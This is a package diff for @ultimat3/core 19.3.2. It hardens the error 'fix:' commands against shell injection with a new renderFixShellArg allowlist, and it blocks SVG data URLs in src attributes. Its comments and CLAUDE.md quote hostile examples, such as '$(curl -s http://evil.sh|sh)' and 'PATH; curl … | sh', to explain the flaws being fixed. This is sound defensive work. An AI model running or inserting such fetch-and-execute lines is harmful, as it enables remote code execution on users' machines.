@ultimat3/core 19.2.0 → 19.3.2

package/CLAUDE.md

@@ -8,6 +8,8 @@ is a change to every package.
 | Deps | none (`bun-types` only) |
 | Errors | subclass `UltimateError`; never `throw new Error` |
 | Values in a message | `renderCauseValue()` / `renderFixLiteral()`; never raw `JSON.stringify`, `String()` or `${…}` on an `unknown` |
+| A value in a `fix:` a shell READS | `renderFixShellArg(value, placeholder)` — `renderFixLiteral` answers DOUBLE quotes, in which `$(…)`, `` ` `` and `${…}` are still live, so it is the wrong tool for a command position and cannot be made right. An ordinary path or URL passes through; anything a shell would read becomes the placeholder. Reproduced: an unauthenticated `GET /$(curl -s http://evil.sh\|sh)` rendered that substitution into `x g route …`, the line the framework tells its reader to paste |
+| Whether that value TRAVELS | `isFixShellSafe(value)` — the predicate `renderFixShellArg` is itself built on, never a second copy of the rule. A placeholder is honest text and it is NOT a runnable command: `curl -sS -m 5 <the provider jwks_uri>` is read by a shell as a redirection from a file called `the`, and `rm -f <the profile directory>/SingletonLock` deletes nothing it names. A `fix:` whose value sits mid-command asks this first and emits PROSE when the answer is no — `@ultimat3/auth`'s `jwks.ts` and `@ultimat3/scraping`'s `profileLocked` are the worked examples |
 | Rendering the 3-line format | nothing to remember — `UltimateError`'s CONSTRUCTOR escapes `code`, `title`, `cause`, `fix` and `docs` with `singleLine()`. Call it yourself only when you render a shape this class never built, e.g. a `Finding` |
 | A value a CALLER supplied | `describeValue()` — shape, never content. `renderCauseValue` is safe against throwing, not against leaking |
 | Reading a caught value | `renderThrowable()` / `isThrownError()` / `stringField()`; never `error.message`, `error instanceof Error` or `typeof error.code === 'string'` directly — the probe throws before the renderer runs |
@@ -164,6 +166,16 @@ the spelling the cache keys on — which is why the screen lives in this file an
 code has one declaration: `X_LOCALE_INVALID` left `TIME_ERROR_CODES` in the same change, or
 `registerErrorCodes` would raise `X_ERROR_CODE_DUPLICATE` the moment both packages loaded.
 
+`secrets-errors.ts`'s four command lines are screened, `As of 2026-09-06`: `x secrets` takes the
+app root, so `at` and `keyPath` are `join(root, …)` — data — and three of them lead with
+`git checkout --` while `X_SECRETS_KEY_MISSING` puts a path INSIDE a `$(cat …)`, where a second
+`$(…)` substitutes before `cat` runs. The path goes through `renderFixShellArg`; the variable name
+is matched against `/^[A-Z_][A-Z0-9_]*$/` and a non-name degrades the whole line to prose, because
+`export PATH; curl … | sh=` has no quoted form that makes it an assignment. `X_SECRETS_KEY_MISMATCH`
+carries no key id in its command at all: the id is read out of the envelope of a file on disk, so a
+newline in it ends the trailing `#` comment and appends a second command — the `cause` and `meta`
+name it, and the `fix:` points at the cause.
+
 `secrets-errors.ts` registers its seven codes through `registerErrorCodes()` rather than joining
 `CORE_CODE_TITLES` — the codes and the module that throws them ship together, and `registerErrorCodes`
 is the one mechanism that raises `X_ERROR_CODE_DUPLICATE` if anything else claims one. Consequence

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@ultimat3/core",
-  "version": "19.2.0",
+  "version": "19.3.2",
   "description": "Ultimate's foundation: errors, context, env, config, clock, ids, logging, telemetry, lifecycle",
   "license": "MIT",
   "type": "module",
@@ -37,6 +37,6 @@
     "test": "bun test"
   },
   "dependencies": {
-    "@ultimat3/schema": "19.2.0"
+    "@ultimat3/schema": "19.3.2"
   }
 }

package/src/error-render.ts

@@ -182,6 +182,51 @@ export function renderFixLiteral(value: unknown, placeholder: string): string {
   return typeof value === 'string' ? JSON.stringify(value) : placeholder;
 }
 
+/**
+ * A shell-inert argument: alphanumerics and the punctuation a URL, a route path and an id are
+ * built from. Deliberately a CLOSED set rather than a list of metacharacters to reject — a
+ * denylist has to be right about every character every shell will ever read, and this only has to
+ * be right about the ones a fix line needs. No space, so a value is always one word; no leading
+ * `-` or `~`, because an argument starting with either is an OPTION or a home directory rather
+ * than the value it reads as.
+ */
+const SHELL_ARG_SAFE = /^[A-Za-z0-9/][A-Za-z0-9._:/@=+,%~-]*$/;
+
+/**
+ * The same value where the text is read by a SHELL. A `fix:` is a command meant to be pasted, so a
+ * value interpolated into a command POSITION is a value that runs: `x g route /$(curl -s
+ * http://evil.sh|sh)` was the rendered fix for an unauthenticated `GET` against any unrouted path.
+ *
+ * **`renderFixLiteral` does not cover this and cannot be made to.** It answers `JSON.stringify`,
+ * i.e. DOUBLE quotes, in which `$(…)`, `` ` `` and `${…}` are all still live in every POSIX shell —
+ * it exists for a value landing in JS or JSON source, where quoting IS the escape. Here there is
+ * nothing to escape into, so the value either survives being read verbatim or it does not travel:
+ * a placeholder naming what the reader has to substitute keeps the line honest, and the `cause`
+ * beside it already carries the value through `renderCauseValue`.
+ *
+ * Bounded for `renderCauseValue`'s reason — a command with half a megabyte of path in it is not a
+ * command anyone runs — and the bound is the same one.
+ */
+export function renderFixShellArg(value: unknown, placeholder: string): string {
+  return isFixShellSafe(value) ? value : placeholder;
+}
+
+/**
+ * Whether `renderFixShellArg` will carry this value VERBATIM — the question a `fix:` has to ask
+ * before it builds a command around one.
+ *
+ * A placeholder is honest text and it is not a runnable command: `curl -sS -m 5 <the provider
+ * jwks_uri>` is READ BY A SHELL as a redirection from a file called `the`, so the one instruction
+ * the reader was given fails, which is axiom 4 inverted. A call site that cannot degrade — a path
+ * mid-command, an `rm` operand — asks this first and emits PROSE instead of a command when the
+ * answer is no. The predicate is the one `renderFixShellArg` itself is built on, never a second
+ * copy of the rule: the two can then not disagree about what travels.
+ */
+export function isFixShellSafe(value: unknown): value is string {
+  if (typeof value !== 'string' || value.length > MAX_RENDERED_LENGTH) return false;
+  return SHELL_ARG_SAFE.test(value);
+}
+
 /** `JSON.stringify` with its throw removed: did the value survive being serialised at all? */
 const canRender = (value: unknown): boolean => {
   try {

package/src/exports/error-contract.ts

@@ -21,10 +21,12 @@ export {
 } from '../error-codes';
 export {
   describeValue,
+  isFixShellSafe,
   isThrownError,
   MAX_RENDERED_LENGTH,
   renderCauseValue,
   renderFixLiteral,
+  renderFixShellArg,
   renderThrowable,
   singleLine,
   stringField,

package/src/index.ts

@@ -174,6 +174,7 @@ export {
   hasErrorCode,
   InternalError,
   isErrorRetry,
+  isFixShellSafe,
   isThrownError,
   isUltimateError,
   listErrorCodes,
@@ -185,6 +186,7 @@ export {
   registeredErrorRetry,
   renderCauseValue,
   renderFixLiteral,
+  renderFixShellArg,
   renderThrowable,
   resetErrorCodes,
   resetErrorRetry,

package/src/metrics.ts

@@ -391,13 +391,20 @@ export function counter(name: string, options?: InstrumentOptions): Counter {
 export function gauge(name: string, options?: GaugeOptions): Gauge {
   const instrument = declare(name, 'gauge', options ?? {});
   return {
+    // The screen runs BEFORE the series is resolved, the order `counter.add` already had: a
+    // refused value must cost nothing, and `seriesFor` is not a read — it MINTS a series, one of
+    // a bounded number, keeps it for the life of the process and can trip the cardinality
+    // ceiling. `a.b += finite(…)` evaluates the reference first, so the two cannot be folded
+    // back into one expression.
     record(value, attributes = {}): void {
       if (!enabled) return;
-      seriesFor(instrument, attributes).value = finite(name, value);
+      const observed = finite(name, value);
+      seriesFor(instrument, attributes).value = observed;
     },
     add(delta, attributes = {}): void {
       if (!enabled) return;
-      seriesFor(instrument, attributes).value += finite(name, delta);
+      const observed = finite(name, delta);
+      seriesFor(instrument, attributes).value += observed;
     },
   };
 }
@@ -407,8 +414,9 @@ export function histogram(name: string, options?: HistogramOptions): Histogram {
   return {
     record(value, attributes = {}): void {
       if (!enabled) return;
-      const series = seriesFor(instrument, attributes);
+      // `finite` first, for `gauge`'s reason above.
       const observed = finite(name, value);
+      const series = seriesFor(instrument, attributes);
       series.value += observed;
       series.count += 1;
       series.min = Math.min(series.min, observed);

package/src/safe-url.ts

@@ -17,6 +17,9 @@ const SAFE_SCHEMES: readonly string[] = ['http:', 'https:', 'mailto:', 'tel:', '
 
 const SCHEME = /^[a-zA-Z][a-zA-Z0-9+.-]*:/;
 
+/** The prefix the `src` exemption is written against — see `safeUrl`'s last branch. */
+const DATA_IMAGE = 'data:image/';
+
 /**
  * The value to emit, or `null` when the attribute must not be emitted at all. An anchor with no
  * `href` is inert and still renders its text, which is strictly better than a live one nobody
@@ -45,6 +48,16 @@ export function safeUrl(value: string, attribute: string): string | null {
   // The one data URL kept, and only where the bytes are RENDERED rather than navigated to: the
   // framework's own blur placeholder is a `data:image/webp`. In an `href` a data URL is a document
   // that runs on nothing but is still a phishing surface, so it is refused there.
-  if (attribute === 'src' && stripped.slice(0, 11).toLowerCase() === 'data:image/') return value;
+  //
+  // `image/svg+xml` is carved back OUT of that exemption, because an SVG is not an image the way
+  // the other four are — it is a script document. `@ultimat3/render` routes EVERY `src` through
+  // here, not only an `<img>`'s, so `<iframe src="data:image/svg+xml,<svg><script>…">` executed
+  // the identical string this function refuses one attribute over in `href`.
+  // `@ultimat3/storage` deletes the same type from its default upload allowlist for the same
+  // reason. Read off `stripped`, never the raw value: a browser deletes the control characters
+  // before it parses the media type too.
+  if (attribute === 'src' && stripped.slice(0, DATA_IMAGE.length).toLowerCase() === DATA_IMAGE) {
+    return stripped.slice(DATA_IMAGE.length).toLowerCase().startsWith('svg') ? null : value;
+  }
   return null;
 }

package/src/secrets-errors.ts

@@ -4,6 +4,7 @@
 // command that undoes it. No error here ever carries a key, a ciphertext or a decrypted value.
 
 import { registerErrorCodes } from './error-codes';
+import { renderFixShellArg } from './error-render';
 import { UltimateError } from './errors';
 
 /** Codes `@ultimat3/core` owns for the encrypted-secrets file. */
@@ -38,6 +39,21 @@ registerErrorCodes(
   ),
 );
 
+/**
+ * Where a path lands in one of these commands. Every one of them is meant to be PASTED, and the
+ * path is data: `x secrets` takes the app root, so `at` and `keyPath` are `join(root, …)`. The
+ * `X_SECRETS_KEY_MISSING` line is the sharpest of them — the value sits inside a `$(cat …)`, so a
+ * second `$(…)` in it substitutes before `cat` is reached at all.
+ */
+const SECRETS_FILE_PLACEHOLDER = '<the secrets file the cause names>';
+
+/**
+ * A variable name, and nothing else. `export ${name}=…` puts the name in a COMMAND position, where
+ * `PATH; curl … | sh` is two commands rather than a variable nobody declared — and there is no
+ * quoting that makes a non-name assignable, so the line degrades to prose instead.
+ */
+const ENV_VAR_NAME = /^[A-Z_][A-Z0-9_]*$/;
+
 /**
  * No key in the environment and none on disk, while an encrypted file exists. Deliberately fatal
  * rather than a warning: booting without the secrets a deploy was configured with produces an app
@@ -48,7 +64,9 @@ export class SecretsKeyMissingError extends UltimateError {
     super({
       code: 'X_SECRETS_KEY_MISSING',
       cause: `${input.envVar} is unset and ${input.keyPath} does not exist, so nothing can open the encrypted secrets`,
-      fix: `export ${input.envVar}="$(cat ${input.keyPath})"   # in a repo that has no key yet: x secrets init`,
+      fix: ENV_VAR_NAME.test(input.envVar)
+        ? `export ${input.envVar}="$(cat ${renderFixShellArg(input.keyPath, '<the key file the cause names>')})"   # in a repo that has no key yet: x secrets init`
+        : "set the variable this error's cause names to the contents of the key file beside it, in whatever way this shell spells an assignment — in a repo that has no key yet: x secrets init",
       meta: { keyPath: input.keyPath },
     });
   }
@@ -76,7 +94,10 @@ export class SecretsKeyMismatchError extends UltimateError {
     super({
       code: 'X_SECRETS_KEY_MISMATCH',
       cause: `${input.at} was sealed with master key ${input.sealedWith} and ${input.keyAt} holds ${input.found}`,
-      fix: `git checkout -- ${input.at}   # or point ULTIMATE_SECRETS_KEY at the key whose id is ${input.sealedWith}`,
+      // The key id stays in `cause` and in `meta`, and never in the COMMAND: it is read out of the
+      // envelope of a file on disk, so it is text this process did not write, and a `\n` in it ends
+      // the trailing `#` comment and appends whatever follows as a second command to run.
+      fix: `git checkout -- ${renderFixShellArg(input.at, SECRETS_FILE_PLACEHOLDER)}   # or point ULTIMATE_SECRETS_KEY at the key whose id the cause names`,
       meta: { at: input.at, sealedWith: input.sealedWith, found: input.found },
     });
   }
@@ -104,7 +125,7 @@ export class SecretsFileInvalidError extends UltimateError {
     super({
       code: 'X_SECRETS_FILE_INVALID',
       cause: `${input.at} ${input.reason}`,
-      fix: `git checkout -- ${input.at}   # this file is written only by x secrets, never by hand`,
+      fix: `git checkout -- ${renderFixShellArg(input.at, SECRETS_FILE_PLACEHOLDER)}   # this file is written only by x secrets, never by hand`,
       meta: { at: input.at },
     });
   }
@@ -120,7 +141,7 @@ export class SecretsTamperedError extends UltimateError {
     super({
       code: 'X_SECRETS_TAMPERED',
       cause: `the AES-256-GCM authentication tag rejected ${input.at}: the ciphertext or its header changed after it was sealed`,
-      fix: `git checkout -- ${input.at}   # then confirm the restored file opens: x secrets show --json`,
+      fix: `git checkout -- ${renderFixShellArg(input.at, SECRETS_FILE_PLACEHOLDER)}   # then confirm the restored file opens: x secrets show --json`,
       meta: { at: input.at },
     });
   }